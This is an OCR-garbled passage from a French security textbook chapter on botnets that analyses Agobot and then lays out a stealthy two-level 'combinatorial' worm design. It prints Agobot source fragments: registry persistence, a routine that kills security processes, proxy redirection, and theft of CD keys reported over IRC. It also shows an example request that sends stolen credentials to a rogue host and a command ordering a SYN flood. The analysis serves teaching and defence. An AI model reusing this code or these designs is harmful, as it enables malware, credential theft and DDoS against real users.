L'exploitation de ces donnees generiques se fait de la manierc la plus classique (voir exercices). La version 4 d' Agobot comporte une bibliotheque de vulnerahilites elargie. A titre d'exemple, les agents d' Agobot exploitent les portes derobees installees par les principaux vers de la periode 2003/2004 (W32/Bagle i W32/Mydoom i W32/Blaster... Cela explique pourquoi (voir plus loin), les agents, lors de la compromission des machines, recherchent les processus viraux correspondant aces vers pour les tuer. Tous les mccanismes d'installation de ces agents sont egalement utilises (voir section 5.3) : - mccanismes de persistance et de residence. La technique la plus simple consiste, comme dans le cas d' Agobot, a modifier une ou plusieurs clefs dans la base de registres et a ajouter un ou plusieurs services (l'analyse du code est laissee a titre d'exercice) :



bool Clnstaller: :RegStartAdd(CString &sValuename, CString &sFilename) {



HKEY key; RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\ Microsoft\\Windows\\ CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); RegSetValueEx(key, sValuename, 0, REG_SZ, (LPBYTE)(const char *)sFilename, (DWORD)strlen(sFilename)); RegCloseKey(key); RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft \\Windows\\CurrentVersion\\RunServices", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); RegSetValueEx(key, sValuename, 0, REG_SZ, (LPBYTE)(const char *)sFilename, (DWORD)strlen(sFilename)):
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RegCloseKey(key); return true; }



mecanisme de furtivite memoirc (voir exercices) ; repression des antivirus; l'extrait de code suivant montre comment Agobot tue plus de 450 processus antiviraux, anti-chevaux de Troie, antirootkits, parefeux et autres applications de securite en place . void KillAV() {



#ifdef WIN32 const char *szFilenamesToKill[455] {



"ANTI-TROJAN.EXE", "ANTIVIRUS.EXE", "ANTS.EXE", "APIMONITOR.EXE", "APLICA32.EXE", "APVXDWIN.EXE", ... , "AUTODOWN.EXE", "AUTOUPDATE.EXE", "AVCONSOL.EXE", "AVE32.EXE", "AVGCC32.EXE", "AVGCTRL.EXE", ... , "AVP32.EXE", "AVPCC.EXE", "AVPDOS32.EXE", "AVPM.EXE", "AVPTC32.EXE", "AVPUPD.EXE", "AVWIN95.EXE", ... , "AVWUPD32.EXE", "AVWUPSRV.EXE", "AVXMONITOR9X.EXE", ... , "AVXQUAR.EXE", "AckWin32.EXE", "AutoTrace.EXE", ... , "AvgServ.EXE", "Avgctrl.EXE", "Avsched32.EXE", "BD_PROFESSIONAL.EXE", "BIDEF.EXE", "BIDSERVER.EXE", "BIPCP.EXE", "BIPCPEVALSETUP.EXE", "BISP.EXE", "BLACKD.EXE", "BLACKICE.EXE", "BOOTWARN.EXE", "BORG2.EXE", "BS120.EXE", "BlackICE.EXE", , "CLEAN.EXE", "CLEANER.EXE", "CLEANER3.EXE", "CLEANPC.EXE", , "CMON016.EXE", "CONNECTIONMONITOR.EXE", "CPD.EXE", "CPF9X206.EXE", "CPFNT206.EXE", "CTRL.EXE", "CV.EXE", "CWNB181.EXE", ... , "Claw95.EXE", ... , "EXANTIVIRUS-CNET.EXE", "EXE.AVXW.EXE", ... , "F-AGNT95.EXE", "F-PROT.EXE", "F-PROT95.EXE", ... , "REGEDIT.EXE", "REGEDT32.EXE", "RESCUE.EXE", "RESCUE32.EXE", "RRGUARD.EXE", "RTVSCN95.EXE", "SAFEWEB.EXE", "SBSERV.EXE", "SCAN32.EXE", "SCAN95.EXE","SCANPM.EXE", ... , "SYMTRAY.EXE", "SYSEDIT.EXE", "SweepNet.SWEEPSRV.SYS.SWNETSUP.EXE", ... , "TASKMON.EXE", "TAUMON.EXE", "TBSCAN.EXE", "TC.EXE", "TCA.EXE", "TCM.EXE", "TDS2-98.EXE", "TDS2-NT.EXE", "TFAK.EXE", "TFAK5.EXE", " "TITANIN.EXE", "TRACERT.EXE", "TRJSCAN.EXE", "TRJSETUP.EXE", "TROJANTRAP3.EXE", "UNDOBOOT.EXE", "UPDATE.EXE", ... , "ZONALM2601.EXE", "ZONEALARM.EXE", "_AVP32.EXE", "_AVPCC.EXE", "_AVPM.EXE", "agentw.EXE", "apvxdwin.EXE", "avkpop.EXE", "avkservice.EXE", "avkwct19.EXE", "avpm.EXE", "blackd.EXE", "ccApp.EXE", "ccEvtMgr.EXE", "ccPxySvc.EXE", "cleaner.EXE", "cleaner3.EXE", "cpd.EXE", "defalert.EXE", "defscangui.EXE", "f-stopw.EXE", "fameh32.EXE", "fch32.EXE", "fih32.EXE", "fnrb32.EXE". "fsaa.EXE". "fsav32.EXE". "fsQ"k32.EXE". "fsm32.EXE".
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... , "pcscan.EXE", "rapapp.EXE", "rtvscan.EXE", "sbserv.EXE", "vbcmserv.EXE", "vshwin32.EXE", "vsmon.EXE", "zapro.EXE", "zonealarm.EXE", NULL}; for(int i=O; szFilenamesToKill[i] !=NULL; i++) KillProcess(szFilenamesToKill[i]); #else KillProcess("tcpdump"); KillProcess("ethereal"); #endif }



Ainsi, avec Agobot, il n'est pas possible d'explorer la base de registres et de la nettoyer a la main car le processus regedit. exe est automatiquement tue ; - dans le cadre de la lutte contre la surinfection non seulement par l'agent lui-meme mais par d'autres processus, tous les processus parasites tiers (i.e. installes par d'autres codes malveillants) sont tues. II s'agit de limiter le risque d'effets de bord, dus a la coexistence de plusieurs de ces codes (la plupart utilisent les memes res sources systeme}, lesquels seraient de nature a alerter l'utilisateur. Ainsi Agobot3 detruit les processus viraux suivants : #ifdef WIN32 1* Tue les processus des principales *1 1* variantes de Blaster *1 KillProcess(lmsblast.exe"); KillProcess(l penis32.exe"); KillProcess(lmspatch.exe");



1* Tue les processus Sobig.F KillProcess(l winppr32.exe"); 1* Tue les processus Welchia 1* (Anti-Blaster version A) KillProcess(ldllhost.exe"); KillProcess(ltftpd.exe");



- utilisation de techniques polymorphes. Les agents de botnets - du moins pour les plus evolues - mutent de deux maniercs diflerentes : soit par une mise a jour par l'attaquant, lors de la phase de coordination et de aest.ion. soit Dar des techniaues nolvmornhes classiaues
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(voir [104, Chapitre 6]). Par exemple, dans le code d'Agobot, le programme polymorph. cpp chiffre le code avec une clef xorkey differente a chaque mutation (valeur aleatoire entre 1 et 254), construit la nouvelle fonction de chiffrement correspondante (en fait un xor constant du code avec la valeur xorkey et recherche une section de code de l'agent ou installer cette nouvelle routine de chiffrement. La technique est donc classique pour ne pas dire triviale. L'analyse du code complet du programme polymorph. cpp est laissee a titre d'exercice (voir en fin de chapitre) . Au final, les agents d'un botnet ne sont que des codes malveillants generalises regroupant toutes les techniques virales presentees dans ce livre (voir chapitre 5). Ce qui les differencie des infections traditionnelles (simple et autoreproductrices), en partie seulement, reside dans le fait que ces agents peuvent etre coordonnes et geres dans un but unique et convergent. Cela est mis en ceuvre dans seconde phase, dite de coordination et de gestion.



11.2.2 La phase de coordination et de gestion Cette seconde phase vise a piloter le botnet soit pour mettre a jour/modifier selectiverment ou non les agents, organiser tout ou partie du botnet, donner des ordres aux agents pour organiser une attaque (voir section 11.2.3). Pour cela, le maitre du botnet dispose d'une console dite de cotitrole et de commandement (C & C) communiquant avec les agents via un canal du memc nom. Ce canal permet egalement aux agents de communiquer avec l'attaquant (ou du moins la console C&C). Si certains auteurs de botnets ont developpe leur propre protocole de communication, notamment utilisant du chiffrement proprietaire, pour administrer leur reseau malveillant - le but etant d'augmenter la resistance a l'analyse automatique et la securite des communications - la plupart d'entre eux utilisent des protocoles bien identifies : - historiquement, le protocole IRC est le plus ancien. Reposant sur un reseau de serveurs IRC permettant la communication selon le modele client/serveur, il est surtout utilise dans des structures de botnets centralisees (voir plus loin) ; - le protocole HTTP via un serveur web. Chaque agent se connecte sur un serveur Web via une simple requete HTTP. Ce protocole est beaucoup plus interessant car, contrairement au protocole IRC, il est natif dans tout ordinateur connecte a un reseau. De plus, notamment dans les entreprises, les flux sortants sur les ports 80 et 443 ne sont pratiquement iamais filtres - nriorite au service obliae. En outre. dans une entrenrise
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Les botnets de grande taille - ce qui explique que nombreuses sont les entreprises touchees par ces botnets - les flux lies au trafic du botnet sont noyes dans les flux HTTP Iegitimes. D'un point de vue technique, les agents cmet.tcnt des requetes de type GET et POST vers des serveurs Web sous le controle du maitre du botnet". Par exemple, la requete suivante permet d'envoyer un login/mot de passe vole (par ecoute du clavier par exemple) par l'agent vers un serveur pirate : GET http://www.serveur-voyou.cn/index.php?id=xxxxxx\ &status=i&type=hotmail&login=big_chef\ &mdp=super_mot_de_passe HTTP/i.i La recuperation des commandes a executor se fait selon deux modes : - le mode connecte : le maitre du botnet controle directement un serveur et traite les requetes sur le port 80, venant des agents; - le mode deconnecte dans lequel les agents sont contraints de demander periodiquement une page Web comme dans l'exemple qui suit. L'agent envoie de manierc repetitive la requete suivante : GET http://www.serveur_voyou.cn/nouveau_ordres.php\ HTTP/i.i Le maitre du botnet active le contenu de la page suivante : HTTP/i.i OK Cache-Control:private Content-Type:text/html Charset=UTF-8 Server: GWS/2.i Date: Fri, 28 Nov 2008 09:i5:00 GMT Flood; SYN; http://www.nsa.gov;Oi/i2/2008;00:00; \ 45; 200; 200 Uno fois cette page rccupcrce par l'agent, il en traduit le code en une action de DDoS (type SYNFLOOD : le ler decembre 2008, a 00 heure, chaque agent doit bombarder le site http://www.nsa.gov.de 200 paquets SYN pendant 200 millisecondes.



1



Cette approche permet notamment de mettre en oeuvre des prot 0 coles de blindage de code redoutables (voir fl04l).
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- le protocole HTTPS (port 443) permettant a des flux chiffres de passer aiscment les differentes protections reseaux. A ce jour, les principaux botnets sont structures de deux maniercs differentes, Cette organisation est egalement fortement liee au protocole utilise pour le canal C&C. - selon une structure centralisee autour d'un pool de serveurs IRC. Ces serveurs ont soit ete compromis par l'attaquant qui peut ainsi les piloter a sa guise soit ce sont des serveurs sains que le pirate va utiliser via des canaux classiques de communication prives, Cette approche est tres interessante car il existe de nombreux serveurs IRC gratuits. Les machines compromises (machines zombies) vont se connecter sur le serveur via un client IRC (lequel peut etre directement embarque dans le code de l'agent) en utilisant simplement l'adresse IP ou le nom du serveur IRC (port 6667) ; - selon une structure decentralisee de type peer to peer (P2P). Dans ce type d'organisation, il n'y a plus de centre et de canal C&C veritable. Le maitre du botnet choisit une machine compromise au hasard - pour peu qu'elle ait des res sources suffisamment dimensionnees - laquelle servira temporairement de serveur. Ce modele est particulierement interessant car il permet une meilleure protection du maitre du botnet qui est ainsi noye dans la masse des machines compromises. De plus, comme aucune machine ne joue un role veritablement preponderant, la securite generale du botnet est augmcntec : il n'est pas possible de le paralyser en visant des machines particulieres, En outre, chaque machine compromise n'embarque qu'une liste tres limitee des adresses IP des autres machines composant le botnet. L'utilisation du protocole DHCP (Dynamic Host Control Protocol), qui permet d'attribuer une adresse IP automatiquement et aleatoirement a une machine au moment OU elle se connecte, augmente encore plus la resistance et la securite globales du botnet. En revanche, cette absence de structure diminue la rapidite d'administration et de coordination de ce reseau, a moins de considerer une structure P2P hybride optimisee combinatoirement. Nous prcsenterons en detail cette solution dans la section 11.3. La plupart des botnets recents utilisent la structure P2P : Storm Worm (protocole UDP), SDBOT, GTBOT, PHATBOT ... Quelle que soit la structure utilisee, la protection des agents et des serveurs (fixes ou temporaires) se fait au moyen de divers mecanismcs : - techniques d'anonymisation. Les flux peuvent etre rediriges de sorte a tranformer un ou nlusieurs aaents en serveur mandataire (ou oroxu)
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pour relayer les requetes du maitre du botnet et ainsi couvrir ses traces. En construisant de veritables chaines de proxies, chaque « maillon » se trouvant dans un pays different (en particulier couverts par des legislations differentes), il est facile d'imaginer la tres grande difficulte de lutter contre de tels reseaux malicieux. Dans le cas d' Agobot, quatre types de redirection sont implementes : - redirection des services TCP (fichier redir_ tcp. cpp) : /* .redirect.tcp */ void CRedirectTCP: :StartRedirect() {



g_cMainCtrl.m_cIRC.SendFormat (m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: redirecting from port %d to \"%s:%d\".", m_sRedirectName.CStr(), m_iLocalPort, m_sRemoteAddr.CStr(), m_iRemotePort);



- redirection des trames GRE (Generic Routing Encapsulation)2 sur le port 47 : /* .redirect.gre [localipJ */ void RedirGRE(const char *szHostlp, const char *szClientlp, const char *szLocallp, bool *pbDoRedir) - mise en place d'un proxy socket: /* .redirect.socks void CRedirectSOCKS: :StartRedirect()



*/



{



g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: starting proxy on port %d.", m_sRedirectName.CStr(), m_iLocalPort);



- mise en place d'un proxy HTTP via la commande suivante .redirect.http } 2



Le prot 0 cole GRE est un prot 0 cole permettant le transit d'informations dans un tunnel (Virtual Private Network).



VPN
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via la commande .redirect.https 



Ainsi, un flux HTTP en provenance du maitre du botnet sera redirige vers l'adresse de la victime sur un port 80 ou 8080. Ce flux sera alors retransmis par la machine compromise, avec sa propre adresse IP, couvrant ainsi les traces du botherder; - minimisation des res sources de l'agent : les principales fonctions d'administration et d'attaque se font a la demande et les communications entre les agents et avec le serveur sont reduites au minimum; - securisation des echanges entre les agents et le maitre du botnet. A cette fin (cas du botnet Agobot par exemple), le login/mot de passe de ce dernier sont ecrits en dur dans le code. Dans le cas du mot de passe, il s'agit d'une forme securisee via la fonction MD5 :



g_cMainCtrl.m_cMac.AddUser(ldfsdfs", 17F696B47828D370F9427101FDOC13312", "dfgd.net", 1111); Le controle de ce mot de passe se fait alors comme suit:



bool CMac::CheckPassword(CString sPassword, user *pUser) {



if(!sPassword.CStr()) return false; md5::MD5_CTX md5; md5::MD5Init(&md5); unsigned char \ szMD5[16]; CString sMD5; sMD5.Assign(IIII); md5: :MD5Update(&md5, (unsigned char*)sPassword.Str(),\ sPassword.GetLength()); md5: :MD5Final(szMD5, &md5); for(int i=O;isCmd.Compare(lcdkey.get")) {



/* Collecte de la clef pour Half-Life */ HKEY hkey=NULL; DWORD dwSize=128; unsigned char szDataBuf[128]; LONG lRet=RegOpenKeyEx(HKEY_CURRENT_USER, ISoftware\\Valve\\Half-Life\\Settings", 0, KEY_READ, &hkey); if (RegQueryValueEx(hkey, "Key", NULL, NULL, szDataBuf, &dwSize)==ERROR_SUCCESS) g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "Found Half-Life CDKey (%S).", szDataBuf); RegCloseKey(hkey); /* Clefs logicielles produits Windows */ if(g_cMainCtrl.m_cBot.cdkey_windows.bValue) {



dwSize = 128; lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, ISoftware\\Microsoft\\Windows\\CurrentVersion".
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0, KEY_READ, &hkey); if (RegQueryValueEx(hkey, "ProductId", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS) g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "Found Windows Product ID (%s).", szDataBuf); RegCloseKey(hkey); De la meme manierc sont collectees les adresses emails des machines compromises, les differents mots de passe de l'utilisateur... Rappelons nous toutefois que chaque agent ne fait que mettre en oeuvre des fonctionnalites classiques de chevaux de Troie. La seule difference, et c'est ce qui caracterise un botnet, tient au fait qu'il est possible de distribuer (ou de paralleliser) cette tache pour traiter un grand nombre de cibles dans un intervalle de temps limite.



11.2.4 Conclusion La menace botnet est une menace bien reelle mais elle doit etre envisagee froidement et surtout a la lumiere des techniques infectieuses classiques. Au final, ce type de reseau malicieux va dans le sens de I'evolution de la technonolgie avec la generalisation du parallelisme dans le monde informatique : calculateurs massivement paralleles, machines multi-coeurs, nouvelle technologie de cartes graphiques... Les botnets ne sont jamais que la version parallele des infections classiques reprenant en cela les idees de Schoch et Hupp [205]. Mais comme pour le parallelisme, la gestion des res sources est primordiale et determine directement les performances finales. II en est de mcme avec les botnets. Si la masse des agents constitue un facteur essentiel - la loi du nombre - leur coordination et leur administration est tout aussi critique:'. A ce jour, si le modele peer-to-peer tend a suplanter les botnets de type IRe, il est encore loin d'etre optimal. Nous allons voir dans la seconde partie de ce chapitre comment il est possible de concevoir un botnet reellement optimise. Avec un tel outil et une telle vision combinatoire du reseau, il est alors possible d'utiliser furtivement et tres efficacement un botnet non seulement dans des attaques de grande envergure mais egalement et surtout pour mener des attaques ciblees contre des groupes de personnes de taille limitee [115]. 3



Rappelons que les victoires militaires de la Rome antique sur les « barbares» tient a la nature structuree des armees romaines et a une conduite de la manoeuvre tout aussi structuree.
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11.3 Conception et propagation d'un ver/botnet optimise 11.3.1 Presentation de la problematique Qu'il s'agisse d'un ver ou d'un botnet, nous avons vu que la problematique etait finalement la meme : leur propagation et leur activite doit etre la moins signante possible, en terme d'activite roseau (voir a ce propos la figure 5.14 de la section 5.5.2). De ce point de vue, comme nous l'avons deja remarquc, un botnet n'est jamais qu'une generalisation, par bien des aspects, d'un ver. La seule difference reside dans le fait qu'une fois que la propagation est assures et qu'un nombre suffisant de machines sont compromises, il s'agit pour le botherder d'administrer ces machines de la manierc la plus efficace possible, et donc de la manierc la plus discrete possible. Le probleme, dans des infections a une si grande echelle, est de prevoir quels vont etre les comportements possibles, les impacts indesirahles du reseau (charge de trafic, pannes de serveurs, activite des utilisateurs et des logiciels de securite... ) sur la propagation et la survie du ver ou du botnet. Seule la connaissance a posteriori permet de savoir ce qui s'est passe et comment cela aurait pu etre soit evite ou mieux gere. A titre d'exemple, prenons le cas du ver Sapphire/Slammer [39]. Un defaut de programmation a provoque une suractivite locale du ver (en Asie), se traduisant par une surconsommation de bande passante et, a terme, cela a mis fin a la propagation du ver lui-meme, Si son concepteur avait pu tester son ver en condition quasi-reelle, il est probable qu'il aurait identifie ce bug de programmation. Cette problematique est la memc s'agissant d'un botnet classique (i.e. de type IRe) : sa gestion ne peut se faire de manierc centralisee et un ordre ne peut etre cnvoye a tous les hates infectes (bots) sans que cela se repere facilement via les sondes disposes au sein du roseau mondial. Si le modele peer-to-peer est plus efficace, il souffre encore de limitations qui peuvent limiter fortement le potentiel de la technique botnet (voir section 11.2.2). De ces remarques, deux questions se posent alors : - Existe-t-il des optimisations possibles pour la propagation d'un ver et/ou l'administration d'un botnet et si oui, vis-a-vis de quels criteres ? - Est-il possible de simuler a priori et a une echelle suffisamment realiste I'activite d'un ver ou d'un botnet, existant ou a l'etat de prototype et ainsi d'en analyser les forces et faiblesses? Autrement dit, est-il possible de mettre un reseau comme Internet « en cprouvettc » ? Les reponscs a ces questions sont fondamentales car elles permettent d'etudier la propagation de ver ou I'activite de botnet, de tester de nouveaux seenarii de nronaaation et de disnoser d'une canacit« d'anticination concernant
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les attaques futures. Concernant ce dernier point, cela ne peut qu'accroitre la connaissance des reseaux de grande taille (structure, charge, organisation... ) et d'eventuellement mettre en evidence des points de faiblesse structurelle, statique ou dynamique, qui peuvent constituer des facteurs favorisant les attaques par ver ou par botnet. Un certain nombre d'etudes [211,224,226] ont etudie le probleme des vers « ultra-rapides » sur des rescux de type Internet. Par exemple, Staniford et al. [211] ont presente et evalue plusieurs techniques de vers hautement virulents fondees sur des mccanismes plus ou moins elabores et surtout plus ou moins agressifs de scanning d'adresses IP. A cote de vers celebres comme CodeRed I, CodeRed II et Nimda connus pour leur techniques de scanning aleatoire et agressif, ces auteurs ont egalement consideres des types de vers pouvant se propager plus lentement et donc plus furtivement, afin de dcjouer les signatures reseaux classiques. Selon ces auteurs, de telles technologies sophistiquecs pourraient permettre de frapper efficacement plusieurs millions de machines dans le monde. Ils ont egalement considere des mecanismcs robustes de controle et de mise a jour de vers deja deploycs, anticipant en ce sens, la problematique des botnets. Des etudes ulterieures [224, 226] ont confirme les travaux de Staniford et al. Mais toutes ces etudes partent de vers connus et la plupart des modeles prospectifs de « super-vers » - vers Currious_ yellow, Warhol, Flash - n'ont qu'un interet theorique, sans validation par I'experience. Reposant sur des interpolations probabilistes, il est impossible de predire comment dans le contexte d'un reseau reel, ces modeles se comporteraient en pratique. II est evidemment impossible de lancer une infection planetaire reelle pour les etudier. La solution repose sur la capacite de simulation d'environnements proches de ce qu'est un reseau de type Internet. A ce jour, et a la connaissance de l'auteur, de tels simulateurs n'existent pas, du moins de manierc publique. Dans cette partie de chapitre, nous allons etudier et presenter ces deux aspects: - une technologie de « super-vers » mettant en oeuvre une strategic de propagation a deux niveaux - inspiree de la technologie P2P -, et ce sans aucune connaissance a priori de la topologie du roseau (reseau totalement inconnu). Sans perte de generalite, il peut s'agir soit d'un ver simple dote de fonctions de mise a jour, soit d'un botnet classique. Aussi utiliserons-nous le terme de generique de ver dans ce qui suit. Ce modele de ver a ete baptise « ver combinatoire », Dans une premiere nhase, le ver decouvre et fait I'armrentissace de la macro-structure du
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reseau puis, a un niveau plus local, de son organisation fine. L'objectif est d'installer et de mettre en oeuvre dynamiquement un roseau malicieux parallele a deux niveaux. Les deux outils principaux utilises pour cela sont d'une part des tables de hash dynamiques (DHT ou Dynamic Hash Tables)4 pour la gestion locale du roseau malicieux et une structure de graphe pour celIe au niveau de la macro-structure de ce roseau. L'etude de cette derniere va permettre a l'attaquant - une fois le ver ou le botnet mis en place - de gerer dynamiquement et optimalement ce reseau malicieux, et ce de la manierc la plus discrete et la moins signante possible. Selon l'effet recherche, des structures particulieres dans ce graphe seront recherchees et utilisees preferentiellement. En particulier, le principal objectif est de limiter, lors de la phase initiale, les reinfections d'hotes deja infectes et, lors de la phase d'administration, de limiter les connexions vers les hates infectes, dans les deux cas pour limiter au maximum le trafic du au ver ou au botnet ; - deux environnements de simulation pour etudier en situation quasireelle le comportement d'un tel ver/botnet. Ces environnements ont ete concus au sein de notre laboratoire : WAST (Worm Analysis and Simulation Tool) [131] et SuWAST (Super Worm Analysis and Simulation Tool) [108]. Le scenario precedent - ver ou botnet combinatoire a ete teste dans ces environnements. Cela a permis de determiner les parametres optimaux selon lesquels le ver devait etre deploye et administre. Nous allons presenter ces differents aspects dans le reste de ce chapitre.



11.3.2 St.ratcgic gener'ale du ver/botnet L'objectif principal est de realiser l'infection initiale - installation du ver /botnet - d'un reseau dont nous ignorons tout (organisation, adressage, evolution dynamique... ), et ce avec les contraintes operationnelles suivantes : - le reseau est totalement inconnu. Cela signifie qu'a l'exception de l'adresse IP de la machine (infectee) a partir de laquelle va etre lancee l'attaque, aucune autre adresse IP n'est connue a priori; - le nombre de connexions necessaires pour parvenir a un taux d'infection du reseau satisfaisant (voir section 5.2.5) doit etre minimise afin de rendre la propagation la plus discrete possible. Si les mecanismcs 4



L'acronyme DHT peut egalement se developper dans ce contexte precis en Dynamic Host Tables ou tables d'hoies dynamiques. Cela traduit d'ailleurs mieux l'utilite de ces tables puisque cela decrit mieux la gestion dynamique des machines avec lesquelles une machine donnee a eu des rannorts de connexion recents.
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internes du code viral interviennent de manierc determinante, la strategie d'infection doit egalement etre bien pensee. Contrairement aux vers simples classiques qui operent un scan agressif d'adresses IP aleatoires, le scenario que nous considerons vise a infecter uniquement les machines existant reellement a une adresse IP donnee, Cette certitude est obtenue en collectant localement des informations utiles. Proceder autrement augmenterait dangereusement les tentatives inutiles d'infection et augmenterait tout aussi dangereusement la consommation de bande passante. Le but pour l'attaquant est que le ver « structure» tout le roseau cible selon la hierarchic a deux niveaux qui vient d'etre presentee. L'operation de base pour chaque copie du ver consiste, chaque fois qu'une nouvelle machine est infectee, a initialiser une ou deux DHT, selon le niveau auquel se trouve cette machine. Ces tables de hachage dynamiques sont du type denomme Kademlia 5 [164,172] et utilisent la metrique XOR. Cette structure est organisee et 5



Kademlia est une technique fondee sur l'utilisation des DHT pour l'organisation et la gestion decentralisee de roseau de type pair-A-pair (peer to peer). Elle a ete invcntce par P. Maymounkov et D. Mazieres [172]. Non seulement elle specific la structure du roseau, mais elle fournit aussi une methode d'adressage direct des nceuds (machines) de ce reseau. Chacun de ces noeuds est designe par un identifiant sous forme d'une valeur enticrc (par exemple son adresse IP mais eela peut etre une donnee plus complexe comme la valeur de hash de fichiers contenue dans une machine donnee) dont le but unique est l'identification de chaque machine selon un ou plusieurs criteres arbitraires. Le principe de base de l'algorithme Kademlia tient au fait qu'il utilise ces identifiants pour etablir une cartographie directe selon ces criteres (adresse IP, nature de l'information A mettre en commun... ). La recherche d'un noeud est alors tres simple et se fait en un nombre limite d'etapes. L'algorithme Kademlia est de fait tres efficace puisque sa complexite est en O(1og(n)) dans un reseau de n noeuds. Ainsi si n == 2m machines, il suffit de de m etapes pour trouver un noeud particulier. L'algorithme Kademlia repose sur le calcul de la « distance» entre deux noeuds. Cette distance est calculee A l'aide du ou exclusif (XOR) entre les valeurs d'identifiants de deux noeuds. Cette notion de distance est tout A fait arbitraire et ne correspond pas forcement A une notion geographique mais de proximite entre deux machines selon le criterc ayant servi A definir les identifiants. Ainsi, si ce dernier repose sur la valeur de hash d'un fichier particulier (par exemple un fichier MP3 donne), une machine au J apon et l'autre en France peuvent etre voisines pour cette distance. Dans notre cas, le criterc principal (mais non unique) utilise dans la fabrication des identifiants est liee aux rapports de connexion existant entre deux machines dans un intervalle de temps donne. Notons que des reseaux celebres comme EMuLE, EDoNKEY, BITToRRENT, fLToRRENT ou meme le reseau Skype utilise partiellement ou en totalite l'algorithme Kademlia.
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constamment mise a jour par le ver a l'aide des donnees generees par sa propre propagation, et ce selon le schema suivant : - au niveau local, une structure DHT1 est mise en place pour gerer un reseau malicieux de type pair a pair (P2P). Nous l'appellerons reseau viral bas-niveau ou reseau viral P2P. En fin d'infection du roseau general, il existe donc un grand nombre de ces reseaux bas-niveaux, locaux, geres en parallele a un niveau superieur. Leur role est de gerer un nombre reduit de machines (de quelques dizaines a quelques centaines) generalement constitues d'adresses dynamiques. Ils sont en particulier reconfigurables rapidement et independamment des autres ; - chaque fois qu'une machine nouvellement infectee est designee par une adresse IP dynamique, elle est integree au roseau malicieux bas-niveau le plus proche (au sens de la metrique XOR choisie). Ce roseau malicieux bas-niveau, en vue de sa gestion a un plus haut niveau, gere une unique adresse IP statique (fixe). II peut s'agir en general d'un serveur mais pas obligatoirement. Les machines dynamiques sont rattachees a cette adresse IP fixe; - en revanche, si une machine nouvellement infectee est geree par une adresse IP fixe, une nouvelle structure DHTo est initialisee pour gerer a un (macro) niveau superieur. L'ensemble de ces adresses statiques decrivent un macro reseau que nous appellerons reseau malicieux superieur ou haut-niveau. Ainsi, chacun de ces hates statiques gerent deux tables DHT : DHTo et DHT1 ; - toutes ces adresses statiques constituent les noeuds d'une structure de graphe G. Ce dernier est maintenu, gere et utilise par l'attaquant (i. e. le maitre du reseau malicieux). Cette organisation a deux niveaux peut etre raffinee en considerant une granilarite plus fine et introduire la notion de roseau intermediaire gerant un sous-ensemble d'adresses statiques. II est egalement important de preciser que differents criteres d'identificateur de noeuds peuvent etre consideres pour chacun de ces niveaux du reseau malicieux. Ces deux niveaux du reseau malicieux - les reseaux bas-niveau et le macro reseau - sont connectcs via les adresses IP fixes (statiques). Le maitre du roseau malicieux dispose d'une machine de controle et d'administration du roseau (ou machine c&c pour Command and Control). Cette console collecte, lors de la phase initiale d'infection du reseau cible, toutes les donnees envoyecs par chaque machine nouvellement infectee, Cela permet a l'attaquant d'organiser et d'exploiter la topologie du roseau malicieux qu'il controle, au niveau superieur, et grace a la structure de graphe G. Cette organisation glo-
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FIG . 11.1. Partition et infection d 'un rese au cible selon une st r uctur e it deux nive aux. Les machines infectees par Ie ver et dependant d 'un roseau bas-niveau sont cont enues dan s les differentes ellipses (les connexions, en gris, sont gerees par les t ables locales DHT1 ) t andis que Ie reseau malicieux superieur est compose d 'adresses statiques (generalement , mais pas uniquement , des serveurs ; les lien s de connexion sont en noir et gere s par les t abl es de type DHTo).



bale a deux niveaux (ou eventuellement plus) est resumes par la figure 11.1. Le choix d 'une structure a deux niveaux (ou plu s) vise a rendre I'activite du ver la moins signante possible tout en conservant une rapidite d'infection quasiment intact e. A partir d 'un nceud donne, le code se propage uniquement aux nceuds qui ont dej a eu des relations de connexions avec lui : l'existence de connexions ante rieures comme critere pour l'infection - lesqu elles ont laisse des traces dans la machine infectee propageant l'infection - peut etre consideree comme un e relation de « confiance » ent re ces machin es. Une fois que la phase de propagation initiale est achevee, la ph ase de gestion et d 'exp loitation du reseau malicieux pr end le relais (voir sect ion 11.3.3).



P r op a gation d u ver II s'agit essent iellement de trouver des adresses IP cibles, au sein d 'une machine de ia infectee.
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1. Avec un probabilite Po, le ver genere aleatoirement une adresse IP a partir de l'adresse IP locale. Cela correspond a une technique classique, utilisee par la plupart des vers simples antericurs (par exemple Blaster/LoveSan [95]). Les quatre champs IPv4 de l'adresse sont aleatoirement generes. Le ver tente ensuite de propager l'infection a cette adresse. 2. Puis, localement, le code malicieux recherche au sein de la machine infectee des adresses IP a infecter : - dans les tables ARP (Address Resolution Protocol). Ces tables contiennent les adresses IP des machines qui ont entretenu recemment des liens de connexion avec la machine locale". Cette table est generalement rafraichie toutes les cinq minutes. Dans le cas d'une machine locale de type serveur, la table ARP contient un tres grand nombre de ces adresses IP; - dans les repertoires dedies de certaines applications : navigateurs Internet, antivirus, pare-feux... ; - en utilisant des commandes dediees pour identifier des machines deja connectees a la machine locale: NETSTAT, NBTSTAT, NSLOOKUP, TRACERT ...



3. Le ver tente de se propager aces differentes adresses IP cibles. 4. En cas de succcs, il ajoute les informations concernant ces nouvelles infections et met a jour la structure concernee (voir section 11.3.2). 5. Le ver envoie toutes les informations utiles vers la console de controle et d'administration (voir la section 11.3.2). La valeur de la probabilite Po est un paramctre essentiel comme le montreront les differentes simulations que nous avons mcnecs (voir section 11.3.5). Son role est de d'assurer que le ver ne confinera pas sa propagation dans une partie du reseau. Enfin, comme tout code malicieux optimalement concu, le ver doit etre capable de determiner si une cible donnee est deja infectee ou non. Nous verrons ce point particulier dans la section 11.3.4.



Mise



a jour des



informations de propagation



A chaque infection reussie d'une cible, la nouvelle copie du code malicieux initialise immediatement une table DHT1 locale et verific ensuite si la nouvelle adresse locale est dynamique ou statique. 6



